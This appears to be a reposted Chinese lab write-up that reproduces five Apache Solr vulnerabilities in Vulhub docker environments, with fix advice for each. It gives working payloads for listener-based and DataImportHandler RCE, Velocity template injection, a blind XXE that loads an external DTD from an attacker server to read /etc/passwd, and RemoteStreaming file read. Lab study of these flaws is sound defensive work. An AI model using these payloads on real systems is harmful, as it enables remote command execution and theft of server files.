Vulhub的Apache Solr漏洞总结

admin 2023年5月30日19:20:55评论69 views字数 8824阅读29分24秒阅读模式

本次漏洞的复现环境均是由docker+vulhub搭建,复现环境根据自身情况决定,本文章只提供vulhub的漏洞复现。

CVE-2017-12629—Apache Solr 远程命令执行漏洞

漏洞简介

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

本环境测试RCE漏洞。

受影响版本

lApache Solr<7.1

lApache Lucene<7.1

漏洞搭建

无需编译,直接运行漏洞环境

docker--compose up -d


命令执行成功后,访问

http://your-ip:8983/

即可查看到Apache solr的管理页面,无需登录。

Vulhub的Apache Solr漏洞总结


漏洞复现

访问页面默认会有一个叫demo的core

Vulhub的Apache Solr漏洞总结

我们先通过如下API获取所有的core:

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json


然后Burp抓包

首先创建一个listener,其中exe的值为我们想执行的命令,args的值是命令参数:


{"add-listener":{"event":"postCommit","name":"b2","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}


请求数据包里的name可以随意修改的,但不能重复使用,这里我把name改成b2

Vulhub的Apache Solr漏洞总结

然后进行update操作,触发刚才添加的listener:

Vulhub的Apache Solr漏洞总结

触发成功后执行命令

docker-compose exec solr bash

进入容器,可见/tmp/success已成功创建:

Vulhub的Apache Solr漏洞总结

返回solr页面的demo中发现在configoverlay.json文件中保存着listener。此时这里无法直接删除,只能依赖burp

Vulhub的Apache Solr漏洞总结


通过name来删除,name为上面所设置的b2

Vulhub的Apache Solr漏洞总结

Vulhub的Apache Solr漏洞总结

删除成功

Vulhub的Apache Solr漏洞总结

修复建议

1.升级更高版本
2.添加Solr访问控制,包括禁止本地直接未授权访问

漏洞原理与分析可以参考:

https://www.exploit-db.com/exploits/43009
https://paper.seebug.org/425/


CVE-2017-12629—Apache Solr XML实体注入漏洞

漏洞简介

当通过Solr web API导入XML数据的时候,攻击者可以通过精心构造的XML文件来注入恶意代码或进行XML实体注入攻击。影响版本为Apache Solr 5.0.0至7.1.0。成功利用该漏洞可能导致敏感信息泄露、服务器被入侵和执行远程代码等风险。

受影响版本

Apache Solr 5.0.0—7.1.0

漏洞环境

运行漏洞环境

docker-compose up -d

命令执行成功后访问http://your-ip:8983/即可查看到Apache solr的管理页面,无需登录。

Vulhub的Apache Solr漏洞总结


漏洞复现

Vulhub的Apache Solr漏洞总结

由于返回包中不包含我们传入的XML中的信息,所以这是一个Blind XXE漏洞,发送如下数据包(自行修改其中的XXE Payload):

GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fbaidu.com%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: your-ip:8983
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept:*/*Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

由此可证明XXE漏洞存在,进而可以利用XXE漏洞进行文件读取操作Vulhub的Apache Solr漏洞总结

首先另起一台服务器,在攻击机的网站的网站根目录下生成一个d.dtd文件,开启apache服务,文件内容如下:

<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

构造payload:

<?xml version="1.0"?><!DOCTYPE root[<!ENTITY( %xxeSYSTEM"http://*.*.*.*/ 1.dtd">%xxe;%ent;]><r></r>

编码后的payload:

%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+xxe+SYSTEM+%22http%3a%2f%2f*.*.*.*%2fd.dtd%22%3E%25xxe%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser 

利用burp发送如下数据包,

GET /solr/demo/select?q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+xxe+SYSTEM+%22http%3a%2f%2f*.*.*.*%2fd.dtd%22%3E%25xxe%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: your-ip:8983
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Vulhub的Apache Solr漏洞总结

成功读取


修复建议

1.升级Solr版本至最新的安全版本

2.禁用外部实体


漏洞原理与分析可以参考:

https://www.exploit-db.com/exploits/43009/
https://paper.seebug.org/425/

CVE-2019-0193—Apache Solr 远程命令执行漏洞

漏洞简介

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

本环境测试RCE漏洞。

受影响版本

Apache Solr<8.2.0

漏洞环境

执行以下命令运行漏洞环境

docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db


这是一个使用docker容器部署Solr搜索引擎的命令。其中,

docker-compose exec solr

表示在名为solr的Docker容器中执行命令。

接下来的部分

bin/solr create_core -c test -d example/example-DIH/solr/db

是告诉Solr创建一个名为test的核,并使用位于example/example-DIH/solr/db目录下的配置来初始化这个核。实际上,这个命令在 Solr 中完成了新建一个索引库的操作。


环境开启后访问

http//:your-ip:8983

即可查看到Apache solr的管理页面,无需登录。版本为8.1.1

Vulhub的Apache Solr漏洞总结


漏洞复现


如上图所示,首先打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式,修改它的Dataconfig字段,填入以下POC:

使用exec函数执行touch/tmp/success命令

<dataConfig> <dataSource type="URLDataSource"/> <script><![CDATA[ function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success"); } ]]></script> <document> <entity name="stackoverflow" url="https://stackoverflow.com/feeds/tag/solr" processor="XPathEntityProcessor" forEach="/feed" transformer="script:poc" /> </document></dataConfig>//这是Solr的Data Import Handler (DIH)的数据源配置文件该文件使用了URLDataSource来获取数据,并使用XPathEntityProcessor对数据进行处理。但是注意到script元素中的代码具有危险性,因为它试图在服务器上执行touch /tmp/success命令。这表示,如果该配置文件被用于DIH,那么攻击者可能有机会利用这个漏洞来在服务器上执行任意命令。


点击Execute with this Confuguration,Burp抓包发送以下请求包:

POST /solr/test/dataimport?_=1684832894234&indent=on&wt=json HTTP/1.1
Host: your-ip:8983
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 678
Origin: http://your-ip:8983
Connection: close
Referer: http://your-ip:8983/solr/
command=full-import&verbose=false&clean=true&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

Vulhub的Apache Solr漏洞总结执行docker-compose exec solr ls /tmp,可见/tmp/success已成功

创建Vulhub的Apache Solr漏洞总结

修复建议

1.更新Solr版本至安全版本

2.禁用Solr远程调试

3.禁止使用或加以修改Solr的Data Import Handler (DIH)的数据源配置文件

漏洞原理与分析可以参考:

https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA
https://paper.seebug.org/1009/


CVE-2019-17558—Apache Solr Velocity 注入远程命令执行漏洞

漏洞简介

Apache Solr 是一个开源的搜索服务器。在其 5.0.0 到 8.3.1版本中存在输入验证错误漏洞,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

受影响版本

5.0.0 <=Apache Solr<=8.3.1

漏洞环境

无需编译,直接开启环境,执行如下命令启动一个Apache Solr 8.2.0服务器:

docker-compose up -d

结果报错了

write /var/lib/docker/tmp/GetImageBlob910627836: no space left on device

原来docker 的安装目录已经满了

l先查看目录下的剩余空间  

docker system df

l查看docker 镜像    

 docker images

l删除多余无用的镜像   

docker rmi [images ID]

删除后重新执行命令,成功拉取镜像

Vulhub的Apache Solr漏洞总结

服务启动后,访问

http://your-ip:8983

即可查看到一个无需权限的Apache Solr服务。版本为8.2.0

Vulhub的Apache Solr漏洞总结

漏洞复现

访问页面默认会有一个叫demo的core

Vulhub的Apache Solr漏洞总结

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的core:

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
//这是用于Solr的请求URL,其作用是获取Solr服务器上所有Core的信息。  indexInfo=false指示不返回Core的索引信息。           wt=json指示返回JSON格式的响应。

Burp抓包,通过如下请求开启params.resource.loader.enabled

修改请求体如下:

POST /solr/demo/config HTTP/1.1/Host: your-ip:8983Accept: *Accept-Language: en-US,en;q=0.5Connection: closeContent-Length: 259{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"//开启params.resource.loader.enabled}}

Vulhub的Apache Solr漏洞总结

之后,注入Velocity模板即可执行任意命令:

Payload:

/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end


Vulhub的Apache Solr漏洞总结

修复建议

1.将Apache solr升级到最新版本

2.禁用 Velocity 模板引擎,或使用反向代理来限制对其访问

具体漏洞原理和POC可以参考:

https://nvd.nist.gov/vuln/detail/CVE-2019-17558

https://issues.apache.org/jira/browse/SOLR-13971

https://github.com/jas502n/solr_rce


Apache Solr RemoteStreaming 文件读取与SSRF漏洞

漏洞简介

Apache Solr是一个开源的搜索服务器,它用于创建基于Lucene的搜索引擎。其中RemoteStreaming处理器可以通过HTTP请求来获取远程的文件并将其合并到查询结果中。但是如果远程文件的URL中包含了攻击者控制的恶意URL,则可能触发服务器端请求伪造(SSRF)攻击,从而导致服务器访问恶意URL并获取敏感信息甚至执行恶意操作。

受影响版本

Apache Solr 5.0.0 - 8.8.1

漏洞环境

执行如下命令启动solr 8.8.1:

docker-compose up -d

环境启动后,访问http://your-ip:8983即可查看Apache Solr后台。

Vulhub的Apache Solr漏洞总结


漏洞复现

首先,访问

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

获取数据库名:demo

Vulhub的Apache Solr漏洞总结

利用好curl命令发送如下数据包,修改数据库demo的配置,开启RemoteStreaming:

curl -i -s -k -X $'POST'     -H $'Content-Type: application/json' --data-binary $'{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'     $'http://your-ip:8983/solr/demo/config'

Vulhub的Apache Solr漏洞总结

返回成功

再通过stream.url读取任意文件:

curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

Vulhub的Apache Solr漏洞总结

读取成功

修复建议

1.升级版本至8.9.0或更高版本。

2.可以下载Solr的相关补丁进行安装。

3.检查所有用户输入数据,使用白名单和黑名单过滤恶意URL,特别是RemoteStreaming处理器的输入参数。建议严格限制可以访问远程URL的参数。

参考链接:

https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ

Vulhub的Apache Solr漏洞总结

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!


敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。


原文始发于微信公众号(巢安实验室):Vulhub的Apache Solr漏洞总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月30日19:20:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulhub的Apache Solr漏洞总结http://cn-sec.com/archives/1761256.html

发表评论

匿名网友 填写信息